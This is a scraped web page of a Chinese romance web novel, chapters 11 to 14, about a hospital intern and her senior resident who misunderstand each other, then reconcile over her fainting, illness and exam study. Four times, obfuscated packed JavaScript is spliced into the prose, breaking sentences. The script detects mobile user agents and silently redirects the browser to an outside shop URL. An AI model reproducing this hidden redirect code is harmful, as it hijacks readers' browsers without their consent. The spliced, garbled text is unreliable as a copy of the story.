几个人七嘴八舌,最后还是贺弥拍桌子道:“管他呢,点赞就点赞呗!不就看个朋友圈嘛,我早就把我师兄师
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640727|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姐的朋友圈翻遍了,多正常一个事情,光明正大一点。”
方寓宁只能含泪接受她的建议:“嗯呜呜呜——”
.
沈赫行把沈赫言送到家,回到自己住的地方,立刻收拾衣服洗了个澡。
这是他的习惯,如果当天做过手术,回来必须先把全身上下洗干净才开始做其他事。
从浴室里出来,沈赫行换成了白T和黑色的短裤。
他的脖子上还有未干的水珠,顺着颈部线条慢慢流到锁骨,再没入衣服以内,稍微一动,就被白T沾上,晕染出一块圆形的水迹。
沈赫行把毛巾扔到头上擦了几下,拔掉连接在手机尾部的充电器,看起了微信。
见朋友圈多了一条消息提醒,他点进去看,发现是方寓宁给他点的赞。
沈赫行手指一顿,礼尚往来,也看起了方寓宁发的朋友圈。
和很多小姑娘一样,方寓宁是个朋友圈很密集的人,小到路边一只小猫,大到一场生日会,都值得她和大家分享一次。
沈赫行不停往下翻,很快就翻到了18年,这一整年,方寓宁就只发了一条朋友圈,是晒的她的大学录取通知书。
沈赫行点开图片,发现方寓宁被录取的是临床八年制。
他眉头攒起,这就奇怪了,临床八年制是江城医科大学录取分数最高的专业,几乎没有人愿意从八年制转到五年制,除非是挂科达到了一定数量,被学校强制降级。
可方寓宁成绩又很优异,不存在这种可能性。
如果说是压力太大想要早点毕业转行,那更说不通,方寓宁明显对医学有一直走下去的信心,甚至还在准备考研。
沈赫行接着往下面翻了几条,大多数是关于她父母的。
“千万不要谈异地恋,距离这东西连亲情都可以打破,我问我妈我要是考外地去了怎么办,我妈回:‘你要是敢跑到外地读书,我就不认你这个闺女’/大哭/”
“论一些脆弱的父女关系,我跟我爸说我死了怎么办,他说:‘哦,那我就当家里死了条狗。’很好,原来我连我家豆豆都比不上呜呜。”配图是一张小白狗。
……
很快,就到了最后一条,这一条没有前面几条那种欢脱的语气。
“如果可以让你们过得更轻松一点的话,就算没有来到这个世界上,也是可以的。”
沈赫行关掉手机,黑沉沉的眼内看不清情绪,昏黄的床头灯在他脸上投出眉弓的阴影,导致他的表情有些晦暗不清。
他想,沈赫言应该说的是实话,方寓宁以前的生活,或许真的不是特别愉快。
那几条跟她父母相关的朋友圈,尽管她是以吐槽的语气发出来,可其中蕴含的冷冰冰的恶意,却还是掩藏不住。
什么“不认你”、“就当死了一条狗”之类的话,正常和谐的家庭里根本不会出现。
在他的观念里,只有仗着孩子离不开自己的糟糕父母,才会这样随意地恶言相向,无所顾忌地去践踏孩子的心。
沈赫行缓缓叹声气,往后仰躺在床上。
敏感的内心,不称职的家人,冷漠的成长环境。
他闭了闭眼,也许他错了,方寓宁伪装身份网恋,并不是为了骗钱骗人,还有可能是因为——
缺爱。
11. 第 11 章
第二天早上,方寓宁进了病区,照常先去值班室放书包,没想到一打开门,正好碰上了同在里面的沈赫行。
方寓宁:“……师兄早上好。”
沈赫行侧对着她,白大褂松松垮垮挂在手肘。
“早上好。”
他展开手臂,将衣服穿好,从衣领理至衣中,再微微低下头,一颗颗扣好扣子。
方寓宁放下书包,默默换上白大褂。
忽然,眼前出现一个褐色牛皮纸袋。
沈赫行道:“早饭吃了吗?今天不小心多买了个三明治,你拿去吃吧。”
方寓宁接下袋子,摩挲着上面的标签。
这是某家网红店的招牌食物,价格贵得吓人,她顶多买来当午饭或者晚饭,早上吃这么贵的东西,她是舍不得的。
不过这算什么?打一巴掌给一颗糖吗?
她把三明治还给沈赫行:“谢谢师兄,我已经吃过了。”
其实她没吃,但是,她不想收。
沈赫行明白她的意思,深深地看了她一眼,没说什么。
上午,方寓宁又跟着上了两台手术,结束时已经一点。
一个电话打进来,孟科在那边说:“李老师,咱们下午的手术全被停了。”
李启东“噌”地站起来:“什么?凭什么停我们的手术?”
他怒气冲冲地去找麻醉科的人理论,回来的时候依旧气急败坏,看来没交涉成功。
他语气不善道:“走走走,咱们走!”
一行人回了病区,各自去吃饭。
由于接了一个老家户口调查的电话,方寓宁晚出去了一会儿,在病区门口,一个老太太叫住她。
“医生啊,你知道病理科在哪儿吗?”老太太手里拿着一盒标本,“你们医生让我把这个送到病理科去,可是我人老了不中用,找不着路。”
方寓宁回答道:“病理科在三号楼的二楼,你去的时候记得带上医保卡,你是几床的家属啊?”
“我们是八床,”老太太为难道,脸上是浓浓的忧愁,“医生,三号楼又该怎么走啊?唉,不好意思啊,你们医院太大了,我真的找不到。”
八床,方寓宁有些记忆,这大概就是昨天被管床医生嘲笑土气的老太太。
老太太估计七十来岁,背脊佝偻,像是常年劳作,向人求助的眼睛里满是紧张和不安,仿佛对自己的行为很抱歉,但是却又不得不这样做,只能寄希望于对方原谅自己的无礼。
方寓宁想起了养大自己的外婆,她现在也是这个年纪,同样的年老、辛劳,同样会在拜托别人帮忙时露出这种眼神。
她道:“走吧,反正我现在没事,我带你去。”
老太太面露感激:“谢谢你啊医生。”
方寓宁笑笑:“不用谢。”
她只是希望,当外婆在一个陌生的环境时,也有人能向她伸出援手,不让她如此孤立无援。
送完标本回来的路上,老太太忽然塞给方寓宁两百块钱。
方寓宁惊恐:“!!!”
“不用老婆婆!您收回去!”
老太太坚持要给:“不!你这小姑娘心好,拿去买零食吃啊。”
方寓宁感觉那两百块钱都是烫手的,她连忙把那两张红色人民币塞回老太太口袋里。
“我真的不能收!电梯门开了我先走了啊!!!”
她停都不敢停一下,一口气跑回办公室,气喘吁吁的模样令人侧目。
这个点,办公室里只有孟科和沈赫行,他们看上去也是才回来。
“师妹你怎么了?刚刚吃完饭不能跑这么快。”孟科提醒道。
方寓宁在孟科身边坐下:“孟师兄,差一点点我的职业生涯就要被断送了。”
孟科问:“发生什么事了这么严重?”
方寓宁给他讲了一遍事情经过:“师兄我真的太出息了,别说现在不敢收红包了,就算收,那起码也得副高起步吧,我直接实习就开始了!”
孟科听了,哈哈笑了两声:“原来是这样,师妹啊,现在像你这么热心的实习生很少了。”
方寓宁抿了抿唇,望着天花板道:“我本来就没什么事嘛,像你们很忙肯定顾不上这方面,我就是能帮则帮,不是那句话吗?‘常常去帮助’。”
她忽然想到什么,很认真道:“对了师兄,这件事你不要跟八床的管床医生说哦。”
孟科答应,同时也有点好奇:“好,不过为什么?”
“他们……嗯……我之前就听他们嘲笑过这个老太太,如果他们知道这件事,肯定还会在背后笑她,说她没见过世面,我不想听他们这样评价人家。”
听了这话,沈赫行和孟科均是一愣。
这个答案,属实出乎人意料。
孟科拍拍胸口,保证道:“放心师妹,我们绝对不说,是吧沈师兄?”
方寓宁这才看向沈赫行那边,刚才,她一直有意无意地回避他的视线。
沈赫行坐姿随意,食指和中指之间夹了一根黑色中性笔,衬得皮肤更冷了些。
“嗯,不说。”
方寓宁垂下眼眸,语气中的情绪变淡许多:“谢谢了,师兄。”
“噔噔噔”,李启东敲了两下门:“查房了。”
孟科看了下时间:“这么早啊李老师,现在才两点。”
李启东抱着手臂:“反正不做手术,早点查房,该处理事都处理完,大家好按时下班。”
方寓宁张了张口,最终还是把话咽了回去,什么都没说。
她还没来得及吃午饭啊……
方寓宁认命地跟着在他们后面,由于时间充足,李启东查房也详细了许多,甚至有时间跟患者唠嗑两句。
这就苦了方寓宁了,她今天还没进过食,饿倒是已经饿过了,就是胃部时不时抽痛一下,令人万分难受。
他们查到了靠窗的患者,这会儿太阳正烈,窗帘也没拉上,方寓宁站在刺眼的阳光中,忽地心跳加速,手心冒出冷汗,整个人头晕目眩,眼前出现一阵黑朦。
不好,该不会是低血糖吧?
方寓宁一个趔趄,扒拉住旁边的椅子,椅子上没放重物,自然承受不住突如其来的推力,在地上划拉出一道刺耳的响声。
第一个回过头来的是沈赫行,他见方寓宁脸色苍白,额头不停冒出冷汗,心下一紧:“你怎么了?”
话音刚落,方寓宁就身体一软,支撑不住往地上栽倒。
向下坠落的过程好像被放慢了无数倍,失去意识前的最后一个念头,方寓宁想的是,诶……为什么摔到地上好像一点都不痛?
.
好饿。
方寓宁感觉自己身处一片黑暗,她费力地睁开眼睛,终于让自己的世界透进一丝光亮。
“醒了?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640728|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
声线冰凉优越,方寓宁转动眼珠,发现沈赫行就坐在她身边。
她又观察起周身环境,越看越觉得,这里好像是值班室。
“你低血糖晕倒了,护士给你扎了针输葡萄糖。”
方寓宁抬起右手,果然,扎的是病房常用的黄色留置针。
值班室的门被打开,李启东探进来一个脑袋:“小方醒了啊。”
和领导说话怎么能躺着?
方寓宁挣扎着要坐起来,沈赫行突然伸手,抄着她的肩膀,帮她撑起上半身,还贴心地竖起枕头,不让她的背硌到。
“李老师,不好意思啊,吓到你们了。”方寓宁不自在地摸摸被沈赫行触碰过的地方。
李启东站在门口摆摆手:“嗨,我见过的大场面多了,还不至于被你吓到。”
他轻轻咳嗽了两声以掩饰心虚,开玩笑,他当时吓坏了好吗?实习生真正意义上还是学生,要是在他手底下出了岔子,家长不得来手撕了他?
“小方啊,你也真是的,身体不舒服要及时说嘛,请个假回去休息一下呀,刚刚要不是小沈接住你,你肯定得摔得鼻青脸肿的。”
李启东是真的怕摊上事:“以后你就不用跟着上手术了,就在病房跟着学习啊。”
方寓宁怔愣了下,而后冒出一丝喜悦。
居然还有这种好事?
她这晕得简直不要太值好吗?!
李启东又关心她几句才离开,值班室里再次只剩下他们二人。
沈赫行侧过身直视她,下颌线愈发清晰:“你今天一天没吃饭?”
他的眼神让方寓宁想起了昨晚的不愉快,一瞬间,可以不去上手术的兴奋感消失得无影无踪。
她本来想冷淡回应沈赫行,可连日的忙碌与心理压力让她不可避免地生出几分埋怨。
“当然了,”她别过脸,不去看他,“昨天晚上回去一直睡不着,今早起床迟了,没来得及吃早饭,中午又带八床的老太太去病理科交标本,谁知道李老师查房这么早,午饭也没得吃。”
她越想越觉得委屈,沈赫行这个人太过分了,四年的师徒之情说扔就扔,对她还这么凶。
她这段时间,每天都过得战战兢兢,生怕自己在他那儿的印象变得更差。
想到这儿,方寓宁更加难过,明明对方都讨厌她了,她却还是这里顾忌那里小心,执着于去扭转对方对她的态度。
四年过去,她连一点长进都没有,说好要丢掉的“讨好型人格”分毫未变。
眼泪不受控制地流下,方寓宁吸了吸鼻子,习惯性地想用袖子擦眼睛。
沈赫行抓住她的手腕:“脏。”
方寓宁一看,原来她还穿着白大褂。
她闭了闭眼,抬起头来,一双眼眸微红,浸着水色,无声传达着控诉。
沈赫行呼吸停滞了下,不复往日的从容,肢体自脊椎开始,竟然有些发僵。
这次,是他做错了。
无论他的目的和出发点是什么,他伤害了一个女孩的心,是不争的事实。
“对不起。”
直截了当的道歉,没有为自己辩解任何理由,声音低沉踏实,听不出一丝敷衍的意味。
方寓宁忽地看向他,由于眼内蓄满泪水,导致她的视线模糊,难以聚焦。
不过,她清楚地感受到,此刻沈赫行,正在认真地注视着她。
12. 第 12 章
眼泪还在顺着脸庞往下流,沈赫行抽了两张纸递给方寓宁:“这段时间我给你造成了很多压力,以及昨天问你那些冒犯的问题,对不起。”
方寓宁无所适从地蜷起手指,不知道该怎么去回应,二人相对无言,一时间,值班室静默无比。
最后还是沈赫行先打破沉默:“我先把针给你拔了。”
他托起方寓宁的手,方寓宁胳膊缩了缩:“要不还是叫护士老师来拔吧。”
身体的本能反应骗不了人,沈赫行感受到她对自己的抗拒,顿了顿道:“好。”
他起身,出去叫了护士进来。
拔完针后,沈赫行站在床边:“你今天先回去休息,记得吃饭。”
方寓宁没有看他,只轻声应道:“嗯。”
沈赫行盯着她的侧脸,确定她没有再说话的意思,这才缓缓垂下眼,转身离开,走的时候顺便带上了值班室的门。
方寓宁吐出一口浊气,掀开被子下床,收拾好东西下班。
回到寝室,贺弥正抱着手臂,满脸的不高兴。
方寓宁侧过脸看她:“还在生气啊。”
前几天是贺弥生日,但是她好朋友居然把这件事忘得干干净净,没有准备礼物不说,连生日祝福,都是第二天晚上才发来。
贺弥“哼”了一声:“当然啊,以前她生日我都是费尽心思给她买礼物,还卡点给她发生日快乐,这次她居然这么敷衍我!”
方寓宁问:“她不是已经给你道歉了嘛,你打算什么时候原谅她?”
贺弥恼道:“等我消气再说吧,如果我很轻易地就不计较放过她,那我不是在鼓励她更过分地对我吗?!”
方寓宁一愣,觉得贺弥说得很有道理。
很多时候,一个人的宽容,并不会引起别人的感激,反而会觉得你软弱可欺。
这种亏,她吃过太多次了。
她沉默了会儿,叹息道:“你说得对。”
另一边,孟科在办公室说道:“师妹也太能忍了,不舒服的话开口说呀,这么好的请假机会。想我当年实习的时候,因为要忙着考研,没病都要装病请假,老师叫我上手术,我就装晕血装低血糖。”
陈靖文说道:“你怎么就确定她不是装的?”
孟科翘着二郎腿:“诶我说,你没看到她当时的脸色?这要是能演出来,我只能说咱们赚了,不花钱就能看到这么逼真的表演。”
陈靖文不置可否,金属框架眼镜后的双眼看不清情绪。
沈赫行眉眼攒起,棱角分明的脸上闪过一抹犹豫:“考研和实习,是不是很冲突?”
“当然啊,”孟科转起手中的签字笔,“有句话叫‘实习实得好,二战少不了’,要是遇上个事儿逼带教,一直让人干这干那,那真的是想杀人的心都有了——”
孟科的声音戛然而止,他小心翼翼地说道:“我怎么感觉,你就是那个事儿逼?”
因为年纪相近,沈赫行这个人也没什么架子,他们之间的上下级界限并不是很明显,因此孟科说话比较肆无忌惮。
沈赫行:“……”
孟科摸了摸下巴,“嘶”了一声:“不对呀,以前你带过的实习同学比方师妹敷衍多了,你不也没为难他们吗?这到底怎么回事?”
学医之路漫长又辛苦,他们这些师兄师姐大多都能体谅后辈,但也不乏有那些不客气撕伞的,什么事情都丢给实习生做,如果实习生反抗,他们就威胁向上级投诉。
沈赫行绝对不是这种人,退一万步来讲,他对工作的要求很高,交给实习生完成的任务如果没有达到他的标准,他宁可推翻再自己重做一遍,这不是平添负担吗?
沈赫行沉了下肩,闭着眼睛按了按太阳穴:“有些误会,改天找她说清楚。”
孟科敲着电脑:“哦哦,能说开就好。嗨,现在考研竞争越来越激烈,我当年三百八考进来都已经是高分了,结果这两年,初试四百分都要争个头破血流!这得复习得多仔细才能考这么高啊!”
沈赫行眉头紧锁,眼底漆黑幽深,更添几分严肃。
怪不得这段时间,方寓宁的眼下都泛着淡青色,想必是复习时间不够,只能挑灯夜战。
孟科他们的话题又拐向了其他地方,提到沈赫行的时候他也应两句,看上去没什么异常,唯有不停敲击着桌面的手指,暴露了他的心不在焉。
他心想,等明天上班,找个时间再跟她道个歉吧。
打算是这么打算,可是到了第二天早上,沈赫行却迟迟没有看见方寓宁的身影。
这就很反常了,方寓宁是一个很守时的人,每天七点半上班,她基本上都会提前五分钟到,可是今天已经快四十了,她居然还没来。
李启东一进办公室就说:“实习同学今天请病假,大家也要多注意身体啊。”
请病假这个理由很普遍,可以是事实,也可以是某些事情的托辞。
比如,不想见到某个人。
沈赫行的手不自觉握紧,目光投向窗外层层叠叠的建筑群。
不怪他多想,实在是这个时间点太过微妙。
但是吧,这个事情,它真就这么凑巧。
昨天下午,方寓宁本着补偿自己的想法,点了一个比较贵的外卖,但是她没想到,贵的外卖,也可能会用不新鲜的食材。
她上吐下泻了一晚上,实在扛不住,给李启东请了假后,去急诊挂号输液。
好不容易轮到她,护士给她扎上输液皮条,绷紧手背皮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640729|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肤,拍了好一会儿道:“你脱水得太厉害,血管都瘪下去了,不好打呀。”
话是这么说,护士手起针落,一针见血,技术倒是毫不含糊。
方寓宁整个人焉头耷脑,像颗打霜的小白菜,她虚弱道:“谢谢老师,麻烦你了。”
急诊是个人人脾气都很急躁的地方,护士有些意外:“唉呀,小姑娘这么有礼貌。”
“是啊,我们小朋友最客气了。”
一道低沉稳重的声音猝不及防打到耳膜,方寓宁下意识抬起头,逆光下,沈赫行的面容有些模糊,只能让人窥见他优越的骨相。
护士一脸惊讶:“你怎么到这边来了?该你到急诊轮科了吗?”
沈赫行扬了扬手中的文件:“来这边有点事。”
“哦,这样啊。”旁边有人让拔针,护士连忙赶过去。
方寓宁咬着下唇,紧张地看着沈赫行,只见他眼神扫视了下点滴,随即伸出手,拇指落在调节器上,骨节一动,滚轮往下滑了滑,输液的速度有所减缓。
“拿药了吗?”他突然问道。
方寓宁声音很轻,有气无力:“还没有。”
沈赫行没有言语,低头瞥见她大腿上放着的取药号码,弯腰执起:“我去帮你拿。”
他身高腿长,方寓宁没来得及拒绝,人就已经走远。
大概过了十分钟,沈赫行折返回来,高挑的白色身影格外明显。
他将药放在方寓宁手里,黑色双眸看向她的眼:“我得走了,你注意着补液。”
方寓宁移开目光,视线落到打着吊针的手上,缓缓道:“嗯,谢谢。”
待人离开,周遭的嘈杂再次涌入方寓宁耳中,她闭上眼睛,靠在椅背上沉思。
沈赫行对她这么照顾,大概是在弥补她,向她示好赔罪。
这倒是她从未有过的经历,以前她和别人发生矛盾,哪次不是对方死犟着不松口,最后她不得不降低底线妥协。
想到这里,方寓宁自嘲地笑了笑,她好像又奖惩逆施了。
对那些做错了事还毫无悔意的,她都是百般纵容,好不容易冒出个会道歉的,她却出于警惕,不肯轻易原谅。
她的手不自觉摩挲起装药的塑料袋,带有褶皱的薄膜相互摩擦,发出细碎的响声。
算了,走一步看一步吧。
输完液已经是十一点钟,方寓宁脸色苍白,完全没有吃饭的欲望。她去便利店买了一瓶维生素饮料,背着书包,去了医院员工专用的图书馆自习。
两倍速看完四节课程,方寓宁的手机突然震动了下。
沈赫行:你在哪里?
方寓宁迟疑几秒,回复道:在医院图书馆。
沈赫行:我马上过来。
13. 第 13 章
收到这条消息,方寓宁犹豫片刻,带上外科书和笔,去了图书馆外面的就餐区。
她挑了一个靠窗正对外面的座位,不一会儿就看到了朝她走来的沈赫行。
沈赫行右手提了一个黑色手袋,他将手袋轻轻搁置在方寓宁手边,从里面拿出一个保温桶。
“吃饭了吗?”
方寓宁摸了下尚有不适的腹部:“还没有。”
“吃一点?”沈赫行打开盖子,舀了一碗粥出来,“中午休息的时候回去煮的。”
那粥不算很稠,里面还加了细碎的瘦肉沫和青菜,卖相很好,方寓宁闻到隐隐飘来的食物香味,还真觉得有点饿了。
沈赫行洞察力一向很强,他看出方寓宁的想法,手搭在碗边,将粥往她那边推:“来尝尝吧。”
说完,他侧着身子坐下,背脊散漫地勾起,单手拿着手机浏览起来。
方寓宁心想,他肯定又在看文献。
她抬起眼仰视沈赫行,小声说了句:“谢谢。”
粥的味道很不错,不咸不淡正好,虽然有肉,但因为有青菜的中和,并不让人觉得油腻,很适合肠胃不好的人补充营养。
方寓宁一勺一勺地喝着,折腾一晚上的胃终于有了暖意。
很快一碗粥喝完,沈赫行收起手机问:“要不要再来一碗?”
方寓宁摇头,瞥见保温桶里还剩了许多,有些犯难。
她一个病号吃过的东西,总不好再让沈赫行吃,但要是倒掉,又太浪费人家一片心意了。
沈赫行收拾好餐具:“剩下的粥你可以留到晚饭吃,这个保温桶质量还不错,保温六个小时没问题。”
方寓宁接受了这个提议:“那,我明天洗干净了还给你?”
“行。”沈赫行回应道。
二人又陷入了沉默,方寓宁牙齿轻轻磨着口腔里的软肉,终于忍不住问出心中疑惑。
“师兄,你为什么要做这些?”她双手不自觉揉捏牛仔裤的布料,“我只是个实习生,就在你手下待两周,得罪我,完全不会对你造成任何影响,你为什么要跟我道歉,还对我……这么好。”
沈赫行听完,倏地侧过脸,长长的睫毛下面,漆黑瞳孔映出方寓宁的身影。
“我在你心究竟有多低劣?”
“嗯?”方寓宁神色疑惑,一时没反应过来。
沈赫行看她不开窍的样子,不由得叹声气:“你是不是觉得,我的心中只有利益,只要是地位不如我的人,我都能毫无愧疚地去践踏?”
方寓宁连连摆手说:“当然不是……”
在这短暂的相处之中,她能感觉得出来,沈赫行这个人很有道德底线,他情绪稳定,善良也有锋芒,不屑于用下作手段害人,也不会坐等别人来害他。
可以说,他是方寓宁最想成为的那种人了。
想到这里,她垂下眼帘,仿佛在跟自己置气似的说:“好吧,是我心理阴暗,自己是什么样的人,也这么想别人。”
沈赫行盯着她的脸,看不出什么情绪,半晌,他才道:“你也不是这样的人。”
方寓宁抬杠:“你怎么就知道我不是?”
沈赫行声音缓缓:“你才是被人欺负的那个吧?受到不公平的对待,也不会被人放在心上,更得不到相应的补偿,惹到你,就跟惹到一团棉花似的。”
猝不及防被戳穿事情的真相,方寓宁面上一热,感到些许难堪。
她别过脸去,耳朵冒出些粉红:“人要讨生活,哪儿能不受点委屈。”
“别人我不管,”沈赫行视线紧追着她,“反正在我这里,你不用受这份委屈。”
这似乎是一句承诺,情绪并不激烈,却又掷地有声,如经年许久的沉木,轻易不得摧毁。
方寓宁眼睛一酸,竟然又落下泪来。
沈赫行瞥见那行泪痕,心脏像被人突然揪了一下,他递给方寓宁一张纸,又去接了一杯热水,让她喝两口顺顺气。
方寓宁一边喝水一边说道:“师兄你不用在意,我就是……咳咳……就是眼泪比较多。”
她眼睛红了一圈,却做出一脸倔强的表情,仿佛只要这样,眼泪就能少掉几颗。
沈赫行见到此景,喉咙有些发干,他不知道该说些什么,恰好有人从图书馆出来,路过他俩的时候多看了两眼。
他见状道:“看,人家心里肯定在骂我,居然在这儿欺负女孩子。”
方寓宁抬起眼,见那个人频频回头,不禁面上发烫,感到几分丢脸。
她从椅子上站起来,丢下一句“师兄等我一下”,转身快步逃离现场。
再回来,她手上多了一小叠纸:“师兄,这是我这两周写的病历。”
她吸了吸鼻子,声音闷道:“你现在给我改了吧。”
突然叫人改病历,是转移话题,也是就此翻篇的意思。
沈赫行顺台阶而下:“好。”
方寓宁在沈赫行右侧坐下,一只手撑着下巴,看他批改。
沈赫行勾起红笔,逐字逐句浏览起来,表述有问题的地方,他就在下面划线,于空白处写下批注。
“你看,这个检查结果写得太杂了,没必要把所有指标都写上去,把关键的东西写出来就行。”他杠掉多余的检查结果,在旁边添了一小行字。
“噢,好的,我下次注意。”
沈赫行又讲了哪些疾病的指标需要重点注意,知识点太多太杂,他干脆在病历纸的背面写了个简单的思维导图,由点及面,极有条理地给方寓宁梳理了一遍。
说来奇怪,方寓宁一向很怕这种纠错环节,倒不是说丢脸,还是那句话,她怕自己错误太多,让别人失望。
可沈赫行却逐渐让她摆脱了这种心理,或许是经此一遭,她开始相信,即使自己在沈赫行面前暴露了不好的那一面,他也不会因此斥责她。
“还有这里也要改一下……”
方寓宁的注意力重新回到沈赫行身上,专心听他给自己开小灶讲课。
两份病历居然改了快半个钟头,结尾医师签名处,沈赫行签上自己的名字,盖上印章。
方寓宁翻到背面,想继续琢磨一下那个思维导图,没了旁的干扰,她忽然发现,沈赫行写的字很好看,一笔一划都有凌厉的笔锋,和他本人气质如出一辙。
“在看什么?还有哪里不清楚的?”沈赫行问道。
“没有,”方寓宁指着他写的思维导图道,“师兄你的字真好,一看就是大人写的。”
要不说虽然方寓宁总是很谨小慎微,沈赫行却仍然觉得她稚气未脱呢?看,他们这些工作多年的人,谁会用“大人”这两个字来表示成年人。
他抱着臂膀,手背凸起的青筋一路向上蜿蜒:“写字而已,还能说是大人写的还是小孩写的?”
“当然啊,”方寓宁给他对比,“你看你的字,可以说是……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640730|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有经历过沉淀的味道吧,我的字就不是,一看就是年纪不大的人写的。”
沈赫行顺着她的话去感受,他看自己的字没看出什么感觉,倒是方寓宁的字,让他觉到几分圆滚滚的跳脱感。
他道:“你的字看起来比你人活泼。”
方寓宁下意识反驳道:“我人很活泼的,我只是没在你面前活泼。”
话一出口,她才发现不妥,这种话只能在朋友面前说呀,沈赫行对她好,只是出于普通的待人接物的礼貌,她怎么就得意忘形了?
她干巴巴地补充:“可能是学习和工作的重担压弯了我的脊梁,让我活泼不起来了。”
她这一找补,令沈赫行想起昨天孟科说的话,他唇线微抿:“你以后查完房换完药,就直接来图书馆学习吧,不用待在办公室。”
方寓宁连忙道:“师兄,我没有抱怨工作太累的意思,我那句话也不是针对你,我这人就是比较慢热,在熟人面前才放得开。”
“我没生气,”沈赫行双眸沉静,“你不是在准备考研吗?我是想多给你留点复习时间。”
“我没考过研,不清楚具体情况,以为考研和实习可以兼顾。你之前也一直表现得很认真,我以为你想在临床上多学点东西,所以自顾自地给你安排了很多任务,抱歉。”
方寓宁愣了几秒,她仔细回想一下,发现自己这段时间做的工作,都实实在在能学到东西的,不是那种跑腿或者带病人做检查的杂活。
她摸摸后脑勺,水润眼珠转了转:“师兄谢谢啦,我分得清好歹的,你都是为了我好,我们这顶多算是……沟通没到位?”
沈赫行手肘搭在椅背上,衬衣短袖顺势上移,隐约露出胳膊上的肌肉线条:“确实,我们沟通得太少了,你刚刚是不是以为我在阴阳你?”
他指的是让方寓宁不用做其他工作,查房换药后就来图书馆自习那句话。
方寓宁尴尬点头:“我在家的时候,如果我家里人让我去做一件事,但是我不想做,他们就会故意说那你别做了,但如果我真的不去做,他们肯定会很生气。”
沈赫行了然,以方寓宁的性格,有这种父母不奇怪。
突然,他眼神一顿,方寓宁和沈赫言是分开了没错,但如果哪天她又觉得缺爱寂寞了,再去找其他人网恋怎么办?
网络之大无奇不有,这次遇上沈赫言这个笨蛋算她走运,万一下次遇上个坏的,骗财骗色又骗人,那她这辈子就完了。
他轻咳两声,手握成拳抵在下唇,斟酌着语句道:“我觉得,你现在考研这么紧张,应该把注意力都集中到学习上来,不要沉迷于虚拟世界。”
方寓宁茫然地眨眨眼,师兄这是又在点她,让她不要过度沉迷游戏吗?
比起一开始面基说的话,他现在的语气倒是温柔许多。
方寓宁回道:“嗯,我以前玩游戏是觉得精神空虚,现在上班学习这么忙,我都好久没玩过了。”
原来她俩是在游戏里认识的。沈赫行经常听沈赫言说游戏里的八卦,多多少少了解一些。
什么徒弟爱上师父、硬是拆散了师父和师娘;一对情侣谈了好久,奔现后才发现两个人居然都是男的;还有gay装女生,骗直男谈恋爱……太多太多了。
他一只手摩挲着另一只手的手指,舒展的宽肩向内收拢,眉眼凝住,一副要谈正事的模样。
“你现在,很希望有人来陪你吗?”
14. 第 14 章
很希望有人来陪吗?
扪心自问,方寓宁以前的确很希望能有个人陪她渡过难关,但也许是她一个人负重前行太久,她已经不太期待那个人的出现了。
她笑着说:“没有,我自己一个人,多自由啊,干嘛多个人出来打扰我。”
沈赫行抻直衬衫褶皱,暗自点了点头,虽然她现在的想法极端了些,但总比网恋被人骗来得好。
.
第二天,方寓宁恢复元气,又开始上班生活。
虽说沈赫行说过她换完药就可以走,可出于礼貌,她还是先去跟沈赫行打了声招呼。
“师兄,那几个要出院的病人的药我都换完了,我可以去自习了吗?”
“不能。”沈赫行一改昨日口风。
“诶?”
沈赫行给她看聊天记录:“科教科今天查岗,第一个就来查我们病区。”
方寓宁心跳骤然加快,她指着对面人的头像说:“你在科教科还有线人啊。”
沈赫行勾了勾嘴角:“一些生存技巧而已。”
很快,科教科的人马就杀到二病区,将实习生规培生专硕生全部查了一遍,查到几个缺岗人员,他们将名字记录在册,又马上赶往下一个战场。
方寓宁回到值班室,将洗干净的保温桶还给沈赫行:“这也太搞了,要是他们每个星期都这么来一次,谁受得了。”
沈赫行打开柜子,把保温桶放进去:“他们没那么勤快,以后要是还有情况,我打电话通知你。”
方寓宁从他语气中听到几分不屑:“师兄,怎么感觉你也很讨厌他们似的。”
